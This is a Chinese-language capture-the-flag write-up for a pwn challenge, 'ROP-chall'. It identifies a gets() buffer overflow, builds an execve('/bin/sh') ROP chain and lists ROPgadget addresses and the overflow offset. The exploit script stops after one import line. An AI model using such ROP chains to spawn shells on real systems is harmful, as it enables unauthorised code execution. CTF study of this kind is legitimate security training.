ROP-chall
Author:堇姬
題目來源
ICED的pwn題目
https://ctf.nicewhite.xyz/
確認保護

看到有開Stack canary,但溢出後卻沒有報stack canary的錯誤,所以應該是沒開。
另外他有開NX,所以沒辦法寫shellcode
分析ASM

有gets 可以BOF,不過沒有其他function可以return過去,所以應該是要ROP
堆ROP
- execve(‘bin/sh’)
| 暫存器 | 值 | 
|---|---|
| rax | 0x3b | 
| rdi | 要執行的參數值(/bin/sh) | 
| rsi | argv(這裡=0) | 
| rdx | envp(這裡=0) | 
- stack1 
 2
 3
 4
 5
 6
 7
 8
 9pop rax 
 0x3b
 pop rdi
 command_addr_in_stack
 pop rsi
 0
 pop rdx;
 0
 syscall
ROPgadget找位置
| 暫存器 | 位置 | 要蓋的值 | 
|---|---|---|
| pop rax ;ret | 0x4516a7 | 0x3b | 
| pop rdi ;ret | 0x4018c2 | 0x4c3300 | 
| pop rsi ;ret | 0x40f21e | 0 | 
| pop rdx ;ret | 0x4017cf | 0 | 
| syscall | 0x4012d3 | 無 | 





輸入的shellcode存在0x4c3300
要蓋0x70+0x8然後開始ret
Script
| 1 | from pwn import * | 
